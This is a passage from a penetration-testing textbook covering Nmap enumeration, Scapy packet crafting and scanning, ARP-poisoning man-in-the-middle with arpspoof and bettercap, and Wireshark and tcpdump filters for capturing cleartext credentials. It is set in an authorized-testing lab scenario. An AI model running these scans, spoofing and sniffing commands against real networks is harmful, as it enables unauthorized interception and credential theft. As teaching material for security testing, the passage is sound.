        # IP layer: set destination, let Scapy fill in source IP automatically
        # TCP layer: destination port, flags="S" means SYN only, random source port
        syn_packet = IP(dst=target_ip) / TCP(dport=port, flags="S", sport=RandShort())

        # sr1() = Send one packet, Receive one response
        # timeout=1 = wait 1 second for response before giving up
        response = sr1(syn_packet, timeout=1, verbose=False)

        if response is None:
            # No response at all = filtered
            continue

        if response.haslayer(TCP):
            tcp_flags = response[TCP].flags

            if tcp_flags == "SA":
                # SYN-ACK received = port is OPEN
                open_ports.append(port)
                print(f"[+] Port {port}: OPEN")

                # Send RST to cleanly close the half-open connection
                # Without this, the target keeps waiting for ACK completion
                rst = IP(dst=target_ip) / TCP(
                    dport=port,
                    sport=response[TCP].dport,
                    flags="R",
                    seq=response[TCP].ack
                )
                send(rst, verbose=False)

            elif "R" in str(tcp_flags):
                # RST received = port is CLOSED
                pass

    return open_ports

# Scan first 1024 ports
open_ports = syn_scan("10.10.10.50", range(1, 1025))


# ICMP Ping Sweep — More control than nmap -sn for specific scenarios
def icmp_sweep(network_range):
    # Create ICMP echo request packets for the entire range
    ping_packets = IP(dst=network_range) / ICMP()

    # sr() = Send multiple packets, Receive responses to all of them
    answered, unanswered = sr(ping_packets, timeout=2, verbose=False)

    print(f"\nHosts that responded to ICMP:")
    for sent, received in answered:
        print(f"[+] {received[IP].src} is alive (TTL={received[IP].ttl})")

        # TTL analysis for OS guessing
        ttl = received[IP].ttl
        if ttl <= 64:
            print(f"    → Likely Linux/Unix (TTL {ttl}, initial TTL probably 64)")
        elif ttl <= 128:
            print(f"    → Likely Windows (TTL {ttl}, initial TTL probably 128)")
        else:
            print(f"    → Likely network device (TTL {ttl}, initial TTL probably 255)")

icmp_sweep("192.168.1.1/24")

3.2.6 Lab Reference — Enumeration with Nmap

This section consolidates the professional enumeration workflow using Nmap — the commands and reasoning you would apply in a real lab or engagement environment against discovered targets.

The Enumeration Mindset

When you sit down at your attack machine with a list of open ports from your scan results, your mindset should be systematic: for each open port, identify the service, understand what information that service can expose, and use the right tools to extract that information.

The Pixel Paradise network (from the engagement scenario) contains diverse device types. A camera with an open HTTP port might have a default-credential web interface. A VoIP phone with SIP on port 5060 might expose extension numbers and authentication data. A Windows workstation with SMB open might have shares accessible without credentials. A network printer with SNMP might reveal the entire printer configuration including previously printed documents.

Treating enumeration as a generic "run these commands" exercise misses the point. Each discovered service is a potential source of intelligence that feeds into the attack phase. The question for every open port is: "What does this service know, and how can I extract it?"

Systematic Enumeration Commands

# ============================================================
# COMPLETE PROFESSIONAL ENUMERATION WORKFLOW
# ============================================================

# Target: 10.10.10.50 (discovered to have several open ports)

# STEP 1: Get full port and service detail for this specific host
sudo nmap -sS -sV -sC -O -p- -T4 --open --reason 10.10.10.50 -oA host_50_full

# This command combines:
# -sS    = SYN scan (fast, fewer logs)
# -sV    = Service and version detection
# -sC    = Default NSE scripts (runs category "default")
# -O     = OS detection
# -p-    = All 65535 TCP ports
# -T4    = Aggressive timing (good for internal LAN)
# --open = Only show open ports in output
# --reason = Show why Nmap classified each port as it did
# -oA    = Save all output formats (normal, XML, grepable)


# STEP 2: Based on what is open, run targeted enumeration

# If port 22 (SSH) is open:
nmap --script ssh-auth-methods --script-args="ssh.user=root" 10.10.10.50
nmap --script ssh2-enum-algos 10.10.10.50
# Look for: password authentication allowed (vs key-only), weak algorithm support

# If port 80/443 (HTTP/HTTPS) is open:
nikto -h http://10.10.10.50                     # Vulnerability scan
gobuster dir -u http://10.10.10.50 \
             -w /usr/share/seclists/Discovery/Web-Content/common.txt \
             -x php,html,txt
whatweb -v http://10.10.10.50                   # Technology fingerprint
curl -I http://10.10.10.50                      # Header analysis

# If port 21 (FTP) is open:
nmap --script ftp-anon 10.10.10.50              # Check anonymous login
nmap --script ftp-syst 10.10.10.50              # System information
ftp 10.10.10.50                                 # Manual connection attempt
# Username: anonymous, Password: anything@anything.com

# If port 25 (SMTP) is open:
nmap --script smtp-commands 10.10.10.50
nmap --script smtp-enum-users 10.10.10.50
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.50

# If port 53 (DNS) is open:
dig axfr targetco.com @10.10.10.50              # Zone transfer attempt
dnsrecon -d targetco.com -t axfr -n 10.10.10.50

# If port 139/445 (SMB) is open:
enum4linux-ng -A 10.10.10.50                    # Full SMB enumeration
smbclient -L //10.10.10.50 -N
smbmap -H 10.10.10.50
nmap --script "smb-vuln-*" 10.10.10.50         # Vulnerability checks

# If port 161 (SNMP/UDP) is open:
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.50
snmp-check -t 10.10.10.50 -c public -v 2c      # If "public" works

# If port 389 (LDAP) is open:
ldapsearch -x -H ldap://10.10.10.50 -b "" -s base namingContexts  # Get base DN
ldapsearch -x -H ldap://10.10.10.50 -b "DC=targetco,DC=com" "(objectClass=*)"

# If port 3306 (MySQL) is open:
nmap --script mysql-info 10.10.10.50
nmap --script mysql-empty-password 10.10.10.50  # Check for no-password root
mysql -h 10.10.10.50 -u root --connect-timeout=5  # Manual login attempt

# If port 3389 (RDP) is open:
nmap --script rdp-enum-encryption 10.10.10.50
nmap --script rdp-vuln-ms12-020 10.10.10.50    # DoS vulnerability check

# If port 6379 (Redis) is open:
redis-cli -h 10.10.10.50 ping                  # Basic connectivity — no auth = critical finding
redis-cli -h 10.10.10.50 info server           # Server information
redis-cli -h 10.10.10.50 config get *          # All configuration

# If port 27017 (MongoDB) is open:
nmap --script mongodb-info 10.10.10.50
mongo --host 10.10.10.50 --eval "db.adminCommand({listDatabases:1})"  # No-auth check

3.2.7 Packet Inspection and Eavesdropping

What Eavesdropping Actually Means in a Network Context

When you are physically in a room with someone, eavesdropping means positioning yourself close enough to hear their conversation. Network eavesdropping is the same idea — positioning yourself on the network so that traffic flows through or past your machine, and capturing that traffic to analyze it.

The concept of "listening" to a network is both simpler and more complex than it sounds. Simpler because the data is already there — bytes are literally flowing through the network infrastructure, and if your network interface can see them, you can capture them. More complex because modern switched networks specifically prevent most ports from seeing traffic that is not addressed to them.

Understanding this requires understanding the difference between hubs and switches — two types of devices that connect computers in a local network.

A hub is a simple, old-fashioned device. When it receives a packet on one port, it forwards that packet out of every other port — broadcasting everything to everyone. Every computer connected to a hub can see every other computer's traffic, just by putting its network interface into "promiscuous mode" (accepting all packets, not just those addressed to it). Hubs are now obsolete, but they illustrate an important point: in an environment where all traffic is broadcast, eavesdropping is trivially easy.

A switch is intelligent. It learns the MAC address of the device connected to each port and builds a table (called the CAM table or MAC address table) that maps MAC addresses to port numbers. When it receives a packet destined for a specific MAC address, it forwards that packet only to the port where that MAC address is connected — not to every port. This isolation means a computer on port 5 normally cannot see traffic between computers on ports 3 and 7.

"Normally" is doing a lot of work in that sentence. Several techniques break this isolation:

Promiscuous mode still captures broadcast traffic (packets addressed to the broadcast MAC ff:ff:ff:ff:ff:ff, which go to all ports) and any traffic the switch mistakenly sends to your port. This is enough to capture ARP traffic and some discovery protocols but not individual unicast sessions between other hosts.

ARP Poisoning is the primary technique for eavesdropping on switched networks during authorized penetration tests. By poisoning the ARP caches of two communicating hosts, an attacker inserts themselves as the man-in-the-middle — all traffic between the two hosts flows through the attacker's machine, where it can be captured and analyzed before being forwarded to the real destination.

VLAN Hopping exploits misconfigurations in switch trunk port settings to send traffic onto VLANs (Virtual Local Area Networks) other than the one you are assigned to. VLANs are network segmentation technology — they create virtual separation between groups of devices on the same physical switch. A successful VLAN hop breaks this separation.

Switch port mirroring (SPAN port) is the legitimate, authorized version of eavesdropping. Many managed switches allow an administrator to configure a "SPAN port" that mirrors all traffic from specified ports to a monitoring port. During authorized penetration tests, the client may configure a SPAN port connected to your testing machine, giving you visibility into all traffic on the monitored segments without needing any attack technique.

What Is Capturable vs. What Is Encrypted

This is a critical distinction that determines the value of eavesdropping in any given environment.

For unencrypted protocols, packet capture is devastating. Telnet passes every keystroke in plaintext — capturing a Telnet session means seeing every command the user types and every response the server sends, including passwords entered at login prompts. FTP passes credentials in plaintext. HTTP passes all web traffic in plaintext — including POST bodies containing login form data, including session cookies that can be replayed to impersonate authenticated users.

SNMP v1 and v2c pass community strings in plaintext. Capturing a single SNMP query reveals the community string, which can then be used for extensive enumeration. POP3 and IMAP without TLS pass email credentials and content in plaintext.

For encrypted protocols, the content is protected, but metadata is still visible. You can see that a connection was made from IP address A to IP address B on port 443, at what time, for how long, and how many bytes were transferred — even if you cannot see the actual content. This metadata alone can be revealing: connections from an internal server to an unusual external IP address might indicate malware C2 communication, even though the content is encrypted.

The important nuance: encryption at the transport layer (TLS/SSL) protects content, but vulnerabilities in TLS itself (covered extensively in Section 3.1.13 on cryptographic flaws) can sometimes expose encrypted traffic to decryption. SSL stripping attacks can downgrade HTTPS connections to HTTP in some scenarios, removing the encryption protection entirely.

ARP Poisoning — The MitM Foundation

ARP (Address Resolution Protocol) is the protocol that translates between IP addresses and MAC addresses on a local network. When computer A wants to send a packet to computer B (IP 192.168.1.2), it first broadcasts an ARP question: "Who has 192.168.1.2? Tell 192.168.1.1." Computer B responds: "192.168.1.2 is at MAC AA:BB:CC:DD:EE:FF." Computer A caches this mapping in its ARP table and uses it for all future packets to that IP.

The critical weakness: ARP has no authentication whatsoever. Any device can send an ARP reply claiming any IP-to-MAC mapping, and the receiving device will update its ARP cache with the new information — even without having asked a question. These are called "gratuitous ARP replies."

ARP poisoning exploits this by sending fake gratuitous ARP replies to both sides of a communication:

To the victim (say, a workstation at 192.168.1.100): "192.168.1.1 (the gateway) is at MAC AA:BB:CC:11:22:33 (the attacker's MAC)."

To the gateway (192.168.1.1): "192.168.1.100 (the workstation) is at MAC AA:BB:CC:11:22:33 (the attacker's MAC)."

Now when the workstation tries to send traffic to the internet, it sends it to the attacker's MAC instead of the gateway's MAC. The attacker receives the traffic, captures it, and then forwards it to the real gateway — so the communication still works from the victim's perspective. The victim sees no disruption. The attacker sees everything.

This must only be performed with explicit authorization on networks you have permission to test. ARP poisoning can cause network disruption if IP forwarding is not properly enabled on the attacking machine — traffic gets captured but not forwarded, causing apparent network outages for the victim.

# ARP poisoning using arpspoof (from the dsniff package)
# You need TWO terminal windows running simultaneously

# Terminal 1: Tell the VICTIM that YOU are the GATEWAY
# -i eth0 = use this network interface
# -t 192.168.1.100 = poison this target's ARP cache
# 192.168.1.1 = claim to be this IP (the gateway)
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Terminal 2: Tell the GATEWAY that YOU are the VICTIM
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# CRITICAL: Enable IP forwarding so traffic actually passes through
# Without this, all victim traffic is captured but not forwarded
# — the victim's internet connection appears to stop working
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Bettercap — the modern, more powerful alternative
sudo bettercap -iface eth0

# Inside bettercap's interactive console:
# Discover hosts on the network
net.probe on
# Wait a moment, then show discovered hosts
net.show
# Set target for ARP poisoning
set arp.spoof.targets 192.168.1.100
# Start ARP poisoning
arp.spoof on
# Start capturing traffic
net.sniff on

3.2.8 Practice — Packet Inspection in a Real Scenario

A Real-World Eavesdropping Scenario

To understand why packet inspection and eavesdropping matters in a penetration test, consider this realistic scenario: you are conducting an internal network assessment for a financial company. Your scan has found a /24 network segment with mixed devices. You have established a man-in-the-middle position on this segment by ARP poisoning the default gateway.

With traffic flowing through your machine, you start Wireshark and look at what you can see. Within minutes, a striking picture emerges. Periodic packets are flowing from one server to a network printer — and they are SNMP queries, completely unencrypted, revealing the community string "private" in plaintext. That "private" community string is the read-write community string for the printer's management interface. You now have full management access to every printer on the network — including the ability to retrieve previously printed documents from the printer's internal storage.

Five minutes later, you see FTP traffic between an employee's workstation and an internal file server. FTP sends credentials in plaintext. You can read: "USER jsmith" and "PASS Summer2024!" — a credential that, because of password reuse, might also work for the company's VPN, email system, or Active Directory.

Later in the capture, a developer connects to their development database and the connection string — including server address, database name, username, and password — passes in cleartext in the HTTP traffic from a web application still in HTTP (not HTTPS) during development.

None of this required exploiting a single software vulnerability. It was all available in the network traffic, captured entirely legally within the scope of the authorized penetration test. This scenario illustrates precisely why encryption in transit matters so much — and why its absence is always a critical finding in a penetration test report.

Wireshark Display Filters in Practice

When analyzing captured traffic, the challenge is not capturing packets — it is finding the relevant packets among potentially millions. A busy network generates enormous amounts of traffic, and Wireshark display filters are the primary tool for cutting through the noise.

Think of display filters as SQL WHERE clauses for network traffic. You can filter on any field of any protocol with equality, inequality, range, and string match operators. You can combine conditions with AND, OR, and NOT. The filter language is intuitive once you understand the pattern: protocol.field_name == value.

The most practically useful filters for penetration testing fall into a few categories:

For finding authentication traffic, you are looking for HTTP POST requests (which carry form data including login credentials), FTP credential commands (USER and PASS), and cleartext authentication in older protocols.

For finding data of interest, you are searching packet contents for keywords like "password," "credential," "admin," or specific data types relevant to the engagement (credit card numbers, social security numbers, PHI).

For credential capture via NTLM, SMB traffic on a Windows network carries NTLM authentication hashes during the login process. These hashes are not cleartext passwords, but they can be cracked offline or used directly in pass-the-hash attacks.

# Launch Wireshark from command line
sudo wireshark &

# Or use the command-line version for remote/headless scenarios
sudo tshark -i eth0

# Capture to file for later analysis
sudo tshark -i eth0 -w capture.pcap

# Read from capture file
tshark -r capture.pcap

# Apply display filter while reading
tshark -r capture.pcap -Y "http.request.method == POST"

In Wireshark's display filter bar, these filters are typed directly:

# Show only HTTP POST requests (login form submissions)
http.request.method == "POST"

# Show all HTTP traffic containing the word "password" anywhere
http contains "password"

# Show traffic between two specific hosts
ip.addr == 192.168.1.100 && ip.addr == 192.168.1.200

# Show FTP authentication commands
ftp.request.command == "USER" || ftp.request.command == "PASS"

# Show all DNS queries (not responses) — what are users looking up?
dns.flags.response == 0

# Show NTLM authentication exchanges in SMB traffic
ntlmssp

# Show all traffic to or from a specific subnet
ip.addr == 10.10.10.0/24

# Show everything EXCEPT your SSH connection (so you do not pollute the capture)
not (tcp.port == 22 && ip.addr == your_ip)

# Show only TCP connection initiations (SYN packets without ACK)
tcp.flags.syn == 1 && tcp.flags.ack == 0

# Find large data transfers that might be exfiltration
tcp.len > 10000

# Show all SNMP traffic (where community strings live)
snmp

# Show all Telnet traffic (fully cleartext)
telnet

The "Follow TCP Stream" feature in Wireshark is particularly powerful — right-clicking any packet in a session and selecting "Follow → TCP Stream" reassembles the entire conversation between the two parties and displays it as human-readable text, exactly as it passed over the wire. A login session's credentials, a file transfer's contents, a database query and its results — all visible in a single coherent view.

3.2.9 Packet Crafting with Scapy — Full Professional Reference

The Philosophy of Packet Crafting

To use Scapy well, you need to understand what you are actually doing at a technical level. Network communication is, at its foundation, a set of structured byte sequences. An IP packet is not magic — it is a sequence of bytes with specific fields at specific positions. The first byte contains version and header length information. Bytes 2-3 are the total length. Bytes 8-9 are the TTL and protocol. Bytes 12-15 are the source IP address. Bytes 16-19 are the destination IP address.

Every protocol is defined by a specification (usually an RFC — Request for Comments document) that precisely defines which fields appear at which byte positions, how large each field is, and what values are valid. TCP's SYN flag lives in bit 1 (zero-indexed) of byte 13 in the TCP header. ACK is in bit 4. FIN is in bit 0. Scapy knows all of this — it encodes every RFC-defined protocol as a Python class where each field is a named attribute.

When you set TCP(flags="S") in Scapy, you are setting the SYN bit in that byte of the TCP header. When you set IP(ttl=128), you are writing 128 into byte 8 of the IP header. Scapy translates your Python attribute assignments into the correct byte positions in the packet before sending it.

This is why Scapy is so powerful: it is a protocol-aware byte constructor that understands every standard protocol but does not constrain you to valid values. You can set TTL to 0, flags to illegal combinations, sequence numbers to any value — because sometimes security testing requires sending exactly those invalid packets to see how a target responds.

Scapy Architecture — Send and Receive Functions

Scapy has four primary functions for sending packets and receiving responses, and understanding which to use when is important:

send() sends a packet at Layer 3 (IP level) and does not wait for a response. Use this when you want to send a packet and do not care about the response — like sending a RST to close a half-open connection.

sendp() sends a packet at Layer 2 (Ethernet level) and does not wait for a response. Use this when you need to send a raw Ethernet frame, such as in ARP operations.

sr() sends packets at Layer 3 and waits for responses. It returns two lists: answered (matched request-response pairs) and unanswered (requests with no response). Use this for scanning multiple targets simultaneously and processing all responses.

sr1() sends one packet at Layer 3 and waits for one response. Returns the single response packet (or None if no response). Use this when you are testing a single port or target and want to check the response before proceeding.

srp() and srp1() are the Layer 2 equivalents of sr() and sr1(). Use these for ARP operations and any other scenarios requiring Ethernet-level packet construction.

from scapy.all import *

# ============================================================
# BUILDING AND INSPECTING PACKETS
# ============================================================

# See all fields available in a layer
ls(IP)           # Shows every IP header field and its default
ls(TCP)          # Shows every TCP header field and its default
ls(UDP)
ls(ICMP)
ls(ARP)
ls(DNS)

# Build a basic packet and inspect it
packet = IP(dst="10.10.10.50") / TCP(dport=80, flags="S")

# .show() displays the packet in a human-readable structured format
packet.show()

# .show2() is like .show() but computes checksums and lengths first
packet.show2()

# hexdump() shows the raw bytes
hexdump(packet)

# len() shows total packet size in bytes
print(f"Packet size: {len(packet)} bytes")


# ============================================================
# ICMP OPERATIONS
# ============================================================

# Simple ping
target = "10.10.10.50"
ping_pkt = IP(dst=target) / ICMP()

# sr1() sends the packet and waits for ONE response
response = sr1(ping_pkt, timeout=2, verbose=False)

if response:
    print(f"Host {target} is alive")
    print(f"TTL: {response[IP].ttl}")
    print(f"Response type: {response[ICMP].type}")  # 0 = echo reply
else:
    print(f"No response from {target}")

# Ping sweep of entire subnet
def ping_sweep(network):
    # IP(dst=network) with a CIDR range creates a packet for each IP
    packets = IP(dst=network) / ICMP()
    answered, unanswered = sr(packets, timeout=2, verbose=False)

    print(f"\nResults for {network}:")
    print(f"Live hosts: {len(answered)}")
    print(f"No response: {len(unanswered)}")

    for sent_pkt, reply_pkt in answered:
        ttl = reply_pkt[IP].ttl
        src = reply_pkt[IP].src

        # OS estimation from TTL
        if ttl <= 64:
            os_guess = "Linux/Unix"
        elif ttl <= 128:
            os_guess = "Windows"
        else:
            os_guess = "Network device"

        print(f"  [+] {src:<20} TTL={ttl:<5} Probably: {os_guess}")

ping_sweep("10.10.10.0/24")


# ============================================================
# TCP OPERATIONS
# ============================================================

# Full SYN scan implementation
def custom_syn_scan(target, ports):
    print(f"\nScanning {target} ports: {min(ports)}-{max(ports)}")
    open_ports = []
    closed_ports = []
    filtered_ports = []

    for port in ports:
        # Build SYN packet
        # RandShort() generates a random source port (avoids confusion)
        pkt = IP(dst=target) / TCP(dport=port, flags="S", sport=RandShort())

        response = sr1(pkt, timeout=1, verbose=False)

        if response is None:
            filtered_ports.append(port)

        elif response.haslayer(TCP):
            flags = response[TCP].flags

            # "SA" = SYN-ACK = port is OPEN
            if flags == "SA" or flags == 0x12:
                open_ports.append(port)

                # Send RST to avoid leaving half-open connections on target
                # Half-open connections consume resources on the target
                rst = IP(dst=target) / TCP(
                    dport=port, 
                    sport=response[TCP].dport,
                    flags="R",
                    seq=response[TCP].ack
                )
                send(rst, verbose=False)

            # "RA" or "R" = RST = port is CLOSED
            elif "R" in str(flags):
                closed_ports.append(port)

    print(f"\nOpen ports: {open_ports}")
    print(f"Filtered ports: {len(filtered_ports)}")
    print(f"Closed ports: {len(closed_ports)}")
    return open_ports

common_ports = [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 3306, 3389, 5900, 8080]
open_ports = custom_syn_scan("10.10.10.50", common_ports)


# ============================================================
# UDP OPERATIONS
# ============================================================

# UDP scan with protocol-specific payloads
def udp_scan(target, port_payloads):
    """
    port_payloads = dict of {port: payload_bytes}
    Providing protocol-specific payloads dramatically improves accuracy
    """
    results = {}

    for port, payload in port_payloads.items():
        if payload:
            pkt = IP(dst=target) / UDP(dport=port) / Raw(payload)
        else:
            pkt = IP(dst=target) / UDP(dport=port)

        response = sr1(pkt, timeout=2, verbose=False)

        if response is None:
            results[port] = "open|filtered"
        elif response.haslayer(UDP):
            results[port] = "open"
        elif response.haslayer(ICMP):
            icmp_type = response[ICMP].type
            icmp_code = response[ICMP].code
            if icmp_type == 3 and icmp_code == 3:
                results[port] = "closed"  # ICMP Port Unreachable
            else:
                results[port] = "filtered"

    for port, state in results.items():
        if state == "open":
            print(f"[+] UDP {port}: {state}")
        elif state == "open|filtered":
            print(f"[?] UDP {port}: {state}")

    return results

# Protocol-specific UDP payloads
udp_targets = {
    53:  b"\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03",  # DNS version query
    161: b"\x30\x26\x02\x01\x01\x04\x06public\xa0\x19\x02\x04\x71\xb4\xb5\x60\x02\x01\x00\x02\x01\x00\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01\x05\x00",  # SNMPv2c GET
    123: b"\x1b" + b"\x00" * 47,  # NTP client request
    69:  b"\x00\x01test.txt\x00netascii\x00",  # TFTP read request
}

udp_scan("10.10.10.50", udp_targets)


# ============================================================
# ARP OPERATIONS
# ============================================================

# ARP scan of local network segment
def arp_scan(network):
    # Ether broadcast + ARP who-has
    request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=network)

    # srp() for Layer 2 (need Ethernet header for ARP)
    answered, _ = srp(request, timeout=3, verbose=False)

    hosts = []
    print(f"\nARP scan results for {network}:")
    print(f"{'IP Address':<18} {'MAC Address':<20} {'Vendor Hint'}")
    print("-" * 60)

    for _, response in answered:
        ip = response[ARP].psrc
        mac = response[Ether].src

        # OUI lookup (first 3 octets of MAC)
        oui = mac[:8].upper()
        vendor = {
            "00:50:56": "VMware",
            "00:0C:29": "VMware Workstation",
            "08:00:27": "VirtualBox",
            "B8:27:EB": "Raspberry Pi",
            "00:1A:A0": "Dell",
            "00:1E:4F": "Dell",
            "DC:A6:32": "Raspberry Pi 4",
            "3C:D9:2B": "Hewlett Packard",
            "AC:DE:48": "Apple",
        }.get(oui, "Unknown")

        print(f"{ip:<18} {mac:<20} {vendor}")
        hosts.append({'ip': ip, 'mac': mac, 'vendor': vendor})

    return hosts

hosts = arp_scan("192.168.1.0/24")

3.2.10 Network Sniffing with Wireshark — The Complete Guide

Wireshark's Role in Penetration Testing

Wireshark is the world's most widely used network protocol analyzer. It captures network packets in real time — or reads them from previously saved capture files — and provides deep inspection of every layer of every protocol in those packets.

For a penetration tester, Wireshark serves several distinct purposes depending on the phase of the engagement. During active reconnaissance, it lets you analyze the traffic patterns on a network segment you have access to — understanding what protocols are in use, what the "normal" traffic looks like, and identifying interesting communications. During exploitation, it helps verify that your payloads are reaching the target correctly and that responses are coming back. During a man-in-the-middle attack, it captures the decrypted traffic flowing through your machine.

But perhaps most importantly, Wireshark is a learning tool. There is no better way to understand a protocol than to capture real traffic using that protocol and examine each packet in detail. Want to understand exactly how the TLS handshake works? Capture an HTTPS connection and walk through it. Want to understand what NTLM authentication looks like? Capture a Windows login and follow the SMB authentication sequence. The ability to see real protocols in action transforms abstract concepts into concrete, observable behavior.

Capturing Traffic with Wireshark

When you launch Wireshark with sufficient privileges (root or a user in the wireshark group on Linux), you are presented with a list of network interfaces. Selecting an interface and clicking the shark-fin "Start Capturing" button begins recording all packets that the interface receives.

The key question is which interface to use. On a typical Linux penetration testing machine:

eth0 or ens33 is the primary Ethernet interface — this is your wired network connection. Choose this for capturing traffic on a wired network segment.

wlan0 is the wireless interface in normal mode — captures wireless management traffic. For capturing wireless data traffic, you need to put the interface into monitor mode first (using airmon-ng start wlan0).

lo is the loopback interface — captures traffic between processes on your own machine. Useful for testing locally running services.

After capturing, you save the capture as a .pcap or .pcapng file for later analysis. This is important for documentation — your captured packets are evidence for your penetration test report.

The Wireshark Interface

The Wireshark interface has three main panels that work together.

The Packet List panel at the top shows each captured packet as one row, with columns for packet number, timestamp, source IP, destination IP, protocol, length, and a brief description. Colors indicate protocol types (green for TCP, blue for DNS, yellow for ARP, etc.) and anomalies (red for errors).

The Packet Details panel in the middle shows the dissected structure of the selected packet — every layer expanded into its component fields. This is where you read the actual values of IP TTL, TCP flags, HTTP headers, DNS query names, and every other protocol field.

The Packet Bytes panel at the bottom shows the raw bytes of the selected packet in hexadecimal on the left and ASCII on the right. When you click a field in the Packet Details panel, the corresponding bytes are highlighted in the Packet Bytes panel — directly showing you which bytes in the raw packet encode which protocol field.

Wireshark Display Filters — The Complete Practical Guide

Display filters are what make Wireshark usable on real captures. A busy corporate network generates thousands of packets per second — without filtering, finding anything in the noise is impossible. The filter language allows precise, specific queries.

The syntax follows a consistent pattern: protocol.field_name operator value. For example, ip.src is the source IP address field in the IP protocol layer. tcp.flags.syn is the SYN flag field in the TCP layer. http.request.method is the method field in HTTP requests.

Operators include == (equals), != (not equals), > and < (greater/less than), contains (string contains substring), and matches (regular expression match). Conditions combine with && (AND), || (OR), and ! (NOT).

# ============================================================
# ESSENTIAL DISPLAY FILTERS FOR PENETRATION TESTING
# ============================================================

# --- Credential Hunting ---

# HTTP POST requests — these carry login form data
http.request.method == "POST"

# HTTP traffic containing "password" anywhere in the packet
http contains "password"

# HTTP Authorization header (Basic Auth sends base64-encoded credentials)
http.authorization

# FTP login commands — these are always cleartext
ftp.request.command == "USER" || ftp.request.command == "PASS"

# All Telnet traffic (completely cleartext protocol)
telnet

# SNMP with community strings visible
snmp

# NTLM authentication exchanges (Windows credential material)
ntlmssp


# --- Traffic Analysis ---

# All traffic between two specific hosts
ip.addr == 192.168.1.100 && ip.addr == 10.10.10.50

# All traffic from one source to anywhere
ip.src == 192.168.1.100

# Traffic from an entire subnet
ip.src == 192.168.1.0/24

# Traffic on a specific port
tcp.port == 8080
udp.port == 161

# All DNS queries (who is this machine looking up?)
dns.flags.response == 0

# DNS queries for a specific domain
dns.qry.name contains "internal"
dns.qry.name == "secretproject.targetco.local"

# All ARP traffic (see who is doing network discovery)
arp

# ARP requests only (not replies)
arp.opcode == 1


# --- TCP Analysis ---

# New connection initiations (SYN without ACK = start of handshake)
tcp.flags.syn == 1 && tcp.flags.ack == 0

# Connection resets (can indicate scanning, blocking, or errors)
tcp.flags.reset == 1

# TCP retransmissions (network issues or dropped packets)
tcp.analysis.retransmission

# Zero window (receiver cannot accept more data — resource exhaustion)
tcp.analysis.zero_window

# Large packets (potential file transfer, could be exfiltration)
tcp.len > 10000 || udp.length > 1000


# --- Protocol-Specific ---

# SMB traffic (Windows file sharing, authentication)
smb || smb2

# SSH traffic (identifies servers offering remote access)
ssh

# RDP traffic (Remote Desktop)
rdp

# HTTP error responses (reveals application behavior under stress)
http.response.code >= 400

# All HTTPS (encrypted, but metadata like SNI and cert subject visible)
tls

# TLS handshake packets (reveals SNI — Server Name Indication — which
# hostname the client is trying to connect to, even in encrypted traffic)
tls.handshake.type == 1


# --- Investigation Shortcuts ---

# Everything except your own SSH connection to avoid noise
!(tcp.port == 22 && ip.addr == 192.168.1.50)

# Find packets referencing specific string (useful for credential hunting)
frame contains "admin"
frame contains "password"
frame contains "secret"

The Follow Stream Feature — Seeing Conversations

The most powerful single feature in Wireshark for credential capture and data analysis is "Follow Stream." When you right-click any packet in a session and choose "Follow → TCP Stream" (or "HTTP Stream" or "TLS Stream"), Wireshark reassembles the entire conversation between the two parties — every packet, in order, reconstructed into a coherent dialogue.

The display shows client-to-server traffic in one color and server-to-client traffic in another. For an HTTP login transaction, you see the complete HTTP request including all headers and the POST body (which contains the username and password), followed by the complete HTTP response.

For FTP, you see the entire session: the server's greeting, the client's USER command with the username, the server's "331 Password required" response, the client's PASS command with the password in cleartext, and all subsequent file transfer commands.

For Telnet, you see every character typed and every character the server sent back — including the login: and Password: prompts and the keystrokes used to answer them.

This view is often what goes directly into a penetration test report: a screenshot of "Follow TCP Stream" showing cleartext credentials is unambiguous evidence of a critical security finding.

tcpdump — When Wireshark Is Not Available

Wireshark requires a graphical interface. In many real-world penetration testing scenarios — remote servers accessed via SSH, headless Linux VMs, cloud instances — there is no GUI available. tcpdump is the command-line packet capture tool that provides the same capture capability in pure text form.

tcpdump captures packets and displays them as text, or saves them to .pcap files that can be analyzed in Wireshark later. This is the most common professional workflow: use tcpdump to capture on a remote machine over SSH, then transfer the .pcap file to your local machine and analyze it in Wireshark.

tcpdump's filtering syntax is BPF (Berkeley Packet Filter) — a powerful filter language also used by the Linux kernel's firewall subsystem. It is different from Wireshark's display filter syntax but follows similar logical principles.

# Capture all traffic on eth0 to a file
sudo tcpdump -i eth0 -w /tmp/capture.pcap

# Capture with a filter — only HTTP and HTTPS traffic
sudo tcpdump -i eth0 -w /tmp/web_traffic.pcap 'port 80 or port 443'

# Capture to file with timestamps and without DNS resolution
# -n = no DNS resolution (faster, avoids polluting capture with DNS queries)
# -nn = no DNS resolution AND no port name resolution (shows 80, not http)
sudo tcpdump -i eth0 -n -w /tmp/capture.pcap

# Watch traffic in real time — print packets in ASCII
# -A = print packet in ASCII (great for seeing cleartext credentials)
sudo tcpdump -i eth0 -A port 80

# Watch traffic in real time — print in hex and ASCII
# -X = hex + ASCII
sudo tcpdump -i eth0 -X port 80

# Capture only FTP authentication (always cleartext)
sudo tcpdump -i eth0 -A 'port 21'

# Capture SNMP traffic to read community strings
sudo tcpdump -i eth0 -A 'udp port 161'

# Capture between specific hosts
sudo tcpdump -i eth0 'host 192.168.1.100 and host 192.168.1.1'

# Capture everything EXCEPT SSH (so your own session does not appear)
sudo tcpdump -i eth0 'not port 22'

# Capture for a time limit then stop
sudo timeout 60 tcpdump -i eth0 -w /tmp/sixty_second_capture.pcap

# Read and analyze a pcap file with tcpdump
tcpdump -r /tmp/capture.pcap
tcpdump -r /tmp/capture.pcap -A 'port 80'

# Extract HTTP POST bodies from a capture file
tcpdump -r /tmp/capture.pcap -A 'tcp port 80' | grep -A5 "POST"

# Capture with rotation — new file every 100MB, keep last 5 files
# Prevents capture files from growing indefinitely
sudo tcpdump -i eth0 -C 100 -W 5 -w /tmp/capture.pcap

Putting It Together — A Complete Eavesdropping Workflow

